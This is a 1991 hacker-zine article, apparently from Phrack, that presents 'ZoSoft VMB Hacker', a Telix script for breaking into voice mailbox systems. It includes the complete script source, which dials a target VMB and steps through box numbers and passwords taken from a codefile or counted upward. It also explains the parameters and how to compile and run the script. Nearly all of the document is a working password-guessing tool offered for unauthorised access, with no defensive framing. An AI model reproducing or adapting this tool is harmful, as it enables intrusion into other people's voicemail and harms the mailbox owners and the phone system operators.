home *** CD-ROM | disk | FTP | other *** search
-
- +-------------------------------------+
- | ZoSoft Telix VMB Hacker |
- | |
- | written by: Zoso Puda |
- +-------------------------------------+
- First words
- -----------
- After reading Night Ranger's article (see PHRACK 34), I decided to make a
- VMB hacking program. Night Ranger provided good insight into how to hack VMB
- systems but some VMBs are hard to crack. What I came up with is a program to
- help me hack some of the harder systems. The ones that don't use the defaults
- are tough. Also my phone has the buttons and earpiece in one unit and I had to
- dial then put the phone to my ear and listen, look at the buttons to dial a
- number and put the phone back to my ear to listen. It soon became tiresome.
-
- What I finally came up with was a program to let me run all the phone
- functions from the keyboard. My modem speaker is loud enough to hear clearly so
- it seemed like the perfect thing to do. I also automated certain features like
- incrementing the password or box number. The program is not fully automated
- however. You must run this program manually. It's main purpose is to allow you
- to run normal phone functions via the keyboard. If you cannot hear clearly
- through your modem speaker then pick up the phone after the program dials the
- VMB phone # and hang up the phone before hanging up the modem.
-
- What follows is a brief description on how to use the program, compile the
- program, and run the program. A working knowledge of VMB systems is expected.
-
- Parameter details
- -----------------
- VMB phone number : If you don't know this, give it up.
-
- Setup sequence : This code is used for systems that require a '9' or '#' or
- '*' to be pressed before the box number. Up to 3 characters
- can be in this string.
-
- Valid Box # : This would be a known valid box or the box you will
- be attempting to hack. This value remains constant.
-
- Codefile filename: You may use a file to get 'default' or your favorite
- passwords from. You must include the extension.
-
- Starting box/code: Box # or code to start checking. This value will
- increase automatically upon pressing [F7].
-
- Using the function keys
- -----------------------
- [F1] Dials the VMB system (see params).
- [F2] Hangs-up the modem.
- [F3] Closes the current codefile.(see params).
- [F4] Lets you set the current code/box #.
- [F5] Dials the Setup sequence (see params).
- [F6] Dials the current code.
- [F7] Makes the next code current.
- [F8] Dials the valid box (see params).
- [F9] Allows you to re-set the parameters.
- [F10] Hangs-up and quits the program.
- [0 - 9] These keys will dial 0 - 9 respectively.
- [*, #] These keys will dial * and #.
- [/] Used as a substitute # for the keypad.
-
- Basic Insructions
- -----------------
- Codefiles should be stored in the same directory as your Telix program.
-
- A sample codefile should look like this:
-
- 1111
- 2222
- 3333
- etc...
-
- I suggest you make seperate codefiles for the number of digits in each code.
- For example, all 3 digit codes should be in a file called 3DIGIT.COD, or
- something similar.
-
- During parameter entry, if you enter a codefile and it exists, you will NOT
- be prompted for a 'Starting box/code'. When the codefile is finished, the
- current code will set itself to 1000.
-
- If you enter a blank for the codefile or the name you entered doesn't exist
- then you will be prompted for a 'Starting Box/Code'.
-
- Compiling
- ---------
- Save the program within the 'CUT HERE' lines as VMBHACK.SLT. Copy the file
- VMBHACK.SLT into the directory where your Telix scripts are. Compile using
- CS.EXE. (example: CS VMBHACK.SLT) To run the program, load Telix and press
- Alt-G followed by the program name (VMBHACK).
-
- //---------------------------<CUT HERE>-------------------------------------
- // ZoSoft VMB Hacker Version 1.4
- // Code by: Zoso, November 1991
- //
- // See PHRACK 34 for more information on VMB systems.
- //
- // NOTE: Do not remove the credits of the original author, modified versions
- // you may add credits, but please do not remove any.
- //
- str code[10], // Global Variables
- codes[10],
- reset[1],
- vmb_number[15],
- borc[1],
- valid[10],
- setup[3];
- str filename[12],
- fstatus[10];
- int f;
- int fflag = 0;
- init_modem() // Modem initialization
- {
- cputs("AT X3 S6=0 S7=0 S11=105 M1 L3"); // X must be 3, L is Loudness on
- cputs("^M"); // some modems, you may have to
- waitfor("OK",20); // alter this. See you modem
- manual.
- }
- vmb_dial(str string) // Dial function
- {
- str workstr[20];
- workstr = string;
- strcat(workstr,";");
- cputs("ATDT");
- cputs(workstr);
- cputs("^M");
- cputs("^M");
- }
- hang_up() // Hang Up function
- {
- hangup();
- waitfor("",20);
- cputs("ATH0");
- cputs("^M");
- cputs("^M");
- clear_scr();
- display();
- }
- next_code() // Next code function
- {
- int cd;
- if (fflag)
- {
- if (not feof(f)) // Check for file first
- {
- fgets(code,10,f);
- return;
- }
- if (feof(f))
- {
- file_close();
- code = "999";
- goto NEXTCODE;
- }
- }
- NEXTCODE:
- cd = stoi(code);
- cd = cd + 1; // This line determines how the
- code
- itos(cd,code); // gets incremented.
- }
- set_code() // Enter new code
- {
- gotoxy(65,2);
- gets(code,10);
- }
- parameters() // Set parameters
- {
- str c[1];
- file_close();
- GETINFO:
- clear_scr();
- printsc("VMB Hacker Parameters^M^J");
- printsc("^M^JVMB phone number :");
- gets(vmb_number,15);
- printsc("^M^JSetup sequence :");
- gets(setup,3);
- printsc("^M^JValid box # :");
- gets(valid,10);
- printsc("^M^JCodefile filename :");
- gets(filename,12);
- if (filename != "")
- {
- open_file();
- next_code();
- }
- if (not fflag)
- {
- filename = "N/A";
- printsc("^M^JStarting box/code :");
- gets(code,10);
- }
- printsc("^M^J^M^JCorrect? (Y/n):");
- gets(c,1);
- if (c == "n" || c == "N")
- goto GETINFO;
- }
- press_enter() // Pause routine
- {
- str a[1];
- pstraxy("Press [ENTER] to continue...",20,23,11);
- gets(a,1);
- }
- title_scr() // Title screen
- {
- str i[1];
- TITLE:
- clear_scr();
- pstraxy(" - ZoSoft VMB Hacker V1.4 -",20,4,11);
- pstraxy("written for Telix by: Zoso Puda",20,6,14);
- press_enter();
- }
- display() // Display screen
- {
- box(0,0,78,3,4,0,19); box(0,0,78,5,4,0,19);
- pstraxy("[ ZoSoft VMB Hacker V1.4 ]",25,0,31);
- pstraxy("VMB Number:",4,2,31); // Information display
- pstraxy(vmb_number,16,2,27);
- pstraxy("Valid #:",33,2,31);
- pstraxy(valid,42,2,27);
- pstraxy("Current:",57,2,31);
- pstraxy(code,66,2,27);
- pstraxy("Codefile:",6,4,31);
- pstraxy(filename,16,4,27);
- pstraxy("File status:",29,4,31);
- pstraxy(fstatus,42,4,27);
- pstraxy("Setup sequence:",50,4,31);
- pstraxy(setup,66,4,27);
- box(0,6,78,10,4,0,103); // Function key display
- pstraxy("[ ]",30,6,111);
- pstraxy(" 0 - 9,*,#",31,6,110);
- pstraxy("[ ] Dial VMB", 2,7,111);
- pstraxy("F1", 3,7,110);
- pstraxy("[ ] Hang up",22,7,111);
- pstraxy("F2",23,7,110);
- pstraxy("[ ] Close file",42,7,111);
- pstraxy("F3",43,7,110);
- pstraxy("[ ] Set Current",61,7,111);
- pstraxy("F4",62,7,110);
- pstraxy("[ ] Setup seq.",2,8,111);
- pstraxy("F5", 3,8,110);
- pstraxy("[ ] Dial current",22,8,111);
- pstraxy("F6",23,8,110);
- pstraxy("[ ] Next box/code",42,8,111);
- pstraxy("F7",43,8,110);
- pstraxy("[ ] Valid box",61,8,111);
- pstraxy("F8",62,8,110);
- pstraxy("[ ] Parameters",22,9,111);
- pstraxy("F9",23,9,110);
- pstraxy("[ ] QUIT",41,9,111);
- pstraxy("F10",42,9,110);
- gotoxy(0,11);
- }
- quit_vmb() // End program
- {
- file_close();
- hangup();
- waitfor("",20);
- clear_scr();
- printsc("Thanks for using ZoSoft's VMB Hacker.^M^J^M^J");
- cputs_tr(_mdm_init_str); // Restore modem params
- }
- open_file() // Open Codefile
- {
- fflag = 1;
- f = fopen(filename,"r");
- fstatus = "OPEN";
- if (ferror(f))
- file_close();
- }
- file_close() // Close Codefile
- {
- fflag = 0;
- fclose(f);
- fstatus = "CLOSED";
- }
- main() // MAIN program module
- {
- int chr;
- title_scr();
- parameters();
- clear_scr();
- display();
- init_modem();
- TOP:
- gotoxy(0,11);
- chr = inkeyw();
- if (chr == '0') vmb_dial("0"); // Dial 0-9
- if (chr == '1') vmb_dial("1");
- if (chr == '2') vmb_dial("2");
- if (chr == '3') vmb_dial("3");
- if (chr == '4') vmb_dial("4");
- if (chr == '5') vmb_dial("5");
- if (chr == '6') vmb_dial("6");
- if (chr == '7') vmb_dial("7");
- if (chr == '8') vmb_dial("8");
- if (chr == '9') vmb_dial("9");
- if (chr == '#') vmb_dial("#"); // Pound sign (#)
- if (chr == '/') vmb_dial("#"); // Make (/) same as (#) for keypad
- if (chr == '*') vmb_dial("*"); // Asterisk (*)
- if (chr == 15104) // F1
- vmb_dial(vmb_number);
- if (chr == 15360) // F2
- hang_up();
- if (chr == 15616) // F3
- {
- file_close();
- display();
- }
- if (chr == 15872) // F4
- {
- set_code();
- display();
- }
- if (chr == 16128) // F5
- vmb_dial(setup);
- if (chr == 16384) // F6
- vmb_dial(code);
- if (chr == 16640) // F7
- {
- next_code();
- display();
- }
- if (chr == 16896) // F8
- vmb_dial(valid);
- if (chr == 17152) // F9
- {
- hang_up();
- parameters();
- display();
- }
- if (chr == 17408) // F10
- {
- quit_vmb();
- goto END;
- }
- goto TOP;
- END:
- prints("^M^J");
- }
- //---------------------------<CUT HERE>---------------------
-
-